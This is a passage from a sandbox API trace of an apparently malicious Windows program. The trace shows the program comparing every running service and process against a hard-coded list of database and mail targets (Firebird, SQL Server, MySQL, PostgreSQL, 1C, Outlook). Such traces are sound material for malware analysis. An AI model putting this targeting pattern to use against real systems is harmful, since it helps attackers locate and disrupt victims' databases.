lpString2="AudioEndpointBuilder") returned 1 [0051.517] lstrlenW (lpString="AudioSrv") returned 8 [0051.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0051.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0051.517] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0051.517] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0051.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0051.517] lstrlenW (lpString="BFE") returned 3 [0051.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0051.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0051.517] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0051.517] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0051.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0051.518] lstrlenW (lpString="CryptSvc") returned 8 [0051.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0051.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0051.518] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0051.518] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0051.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0051.518] lstrlenW (lpString="CscService") returned 10 [0051.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0051.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0051.518] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0051.518] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0051.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0051.518] lstrlenW (lpString="DcomLaunch") returned 10 [0051.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0051.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0051.518] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0051.518] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0051.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0051.518] lstrlenW (lpString="Dhcp") returned 4 [0051.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0051.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0051.518] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0051.518] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0051.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0051.518] lstrlenW (lpString="Dnscache") returned 8 [0051.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0051.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0051.518] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0051.518] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0051.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0051.518] lstrlenW (lpString="DPS") returned 3 [0051.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0051.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0051.519] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0051.519] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0051.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0051.519] lstrlenW (lpString="eventlog") returned 8 [0051.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0051.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0051.519] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0051.519] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0051.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0051.519] lstrlenW (lpString="EventSystem") returned 11 [0051.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0051.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0051.519] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0051.519] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0051.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0051.519] lstrlenW (lpString="gpsvc") returned 5 [0051.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0051.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0051.519] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0051.519] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0051.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0051.519] lstrlenW (lpString="iphlpsvc") returned 8 [0051.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0051.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0051.519] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0051.519] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0051.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0051.519] lstrlenW (lpString="LanmanServer") returned 12 [0051.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0051.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0051.520] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0051.520] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0051.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0051.520] lstrlenW (lpString="LanmanWorkstation") returned 17 [0051.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0051.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0051.520] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0051.520] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0051.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0051.520] lstrlenW (lpString="lmhosts") returned 7 [0051.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0051.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0051.520] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0051.520] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0051.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0051.520] lstrlenW (lpString="MMCSS") returned 5 [0051.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0051.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0051.520] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0051.520] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0051.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0051.520] lstrlenW (lpString="MpsSvc") returned 6 [0051.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0051.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0051.520] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0051.520] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0051.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0051.520] lstrlenW (lpString="Netman") returned 6 [0051.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0051.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0051.520] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0051.521] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0051.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0051.521] lstrlenW (lpString="netprofm") returned 8 [0051.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0051.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0051.521] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0051.521] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0051.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0051.521] lstrlenW (lpString="NlaSvc") returned 6 [0051.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0051.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0051.521] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0051.521] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0051.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0051.521] lstrlenW (lpString="nsi") returned 3 [0051.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0051.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0051.521] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0051.521] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0051.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0051.521] lstrlenW (lpString="PcaSvc") returned 6 [0051.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0051.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0051.521] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0051.521] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0051.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0051.521] lstrlenW (lpString="PlugPlay") returned 8 [0051.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0051.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0051.521] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0051.521] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0051.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0051.522] lstrlenW (lpString="Power") returned 5 [0051.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0051.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0051.522] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0051.522] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0051.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0051.522] lstrlenW (lpString="ProfSvc") returned 7 [0051.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0051.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0051.522] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0051.522] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0051.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0051.522] lstrlenW (lpString="RpcEptMapper") returned 12 [0051.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0051.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0051.522] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0051.522] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0051.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0051.522] lstrlenW (lpString="RpcSs") returned 5 [0051.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0051.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0051.522] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0051.522] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0051.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0051.522] lstrlenW (lpString="SamSs") returned 5 [0051.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0051.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0051.522] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0051.522] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0051.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0051.522] lstrlenW (lpString="Schedule") returned 8 [0051.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0051.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0051.523] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0051.523] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0051.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0051.523] lstrlenW (lpString="SENS") returned 4 [0051.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0051.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0051.523] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0051.523] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0051.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0051.523] lstrlenW (lpString="ShellHWDetection") returned 16 [0051.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0051.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0051.523] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0051.523] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0051.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0051.523] lstrlenW (lpString="Spooler") returned 7 [0051.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0051.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0051.523] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0051.523] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0051.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0051.523] lstrlenW (lpString="swprv") returned 5 [0051.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0051.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0051.523] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0051.523] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0051.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0051.523] lstrlenW (lpString="SysMain") returned 7 [0051.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0051.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0051.523] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0051.523] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0051.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0051.524] lstrlenW (lpString="Themes") returned 6 [0051.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0051.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0051.524] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0051.524] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0051.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0051.524] lstrlenW (lpString="TrkWks") returned 6 [0051.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0051.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0051.524] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0051.524] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0051.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0051.524] lstrlenW (lpString="UxSms") returned 5 [0051.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0051.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0051.524] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0051.524] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0051.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0051.524] lstrlenW (lpString="VSS") returned 3 [0051.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0051.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0051.524] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0051.524] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0051.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0051.524] lstrlenW (lpString="WdiServiceHost") returned 14 [0051.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0051.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0051.524] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0051.524] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0051.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0051.524] lstrlenW (lpString="WdiSystemHost") returned 13 [0051.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0051.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0051.525] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0051.525] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0051.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0051.525] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0051.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0051.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0051.525] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0051.525] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0051.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0051.525] lstrlenW (lpString="Winmgmt") returned 7 [0051.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0051.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0051.525] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0051.525] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0051.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0051.525] lstrlenW (lpString="WPDBusEnum") returned 10 [0051.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0051.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0051.525] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0051.525] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0051.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0051.525] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x40038c8 | out: hHeap=0x4b0000) returned 1 [0051.525] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x228 [0051.528] Process32FirstW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0051.528] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0051.529] lstrlenW (lpString="System") returned 6 [0051.529] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0051.529] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0051.529] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0051.529] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0051.529] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0051.529] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0051.529] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0051.529] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0051.533] lstrlenW (lpString="smss.exe") returned 8 [0051.533] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0051.533] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0051.533] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0051.533] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0051.533] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0051.533] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0051.533] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0051.533] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0051.534] lstrlenW (lpString="csrss.exe") returned 9 [0051.534] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0051.534] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0051.534] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0051.534] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0051.534] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0051.534] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0051.534] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0051.534] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0051.535] lstrlenW (lpString="wininit.exe") returned 11 [0051.535] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0051.535] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0051.535] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0051.535] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0051.535] lstrlenW (lpString="csrss.exe") returned 9 [0051.535] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0051.536] lstrlenW (lpString="winlogon.exe") returned 12 [0051.536] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0051.537] lstrlenW (lpString="services.exe") returned 12 [0051.537] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0051.537] lstrlenW (lpString="lsass.exe") returned 9 [0051.537] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0051.538] lstrlenW (lpString="lsm.exe") returned 7 [0051.538] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.539] lstrlenW (lpString="svchost.exe") returned 11 [0051.539] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 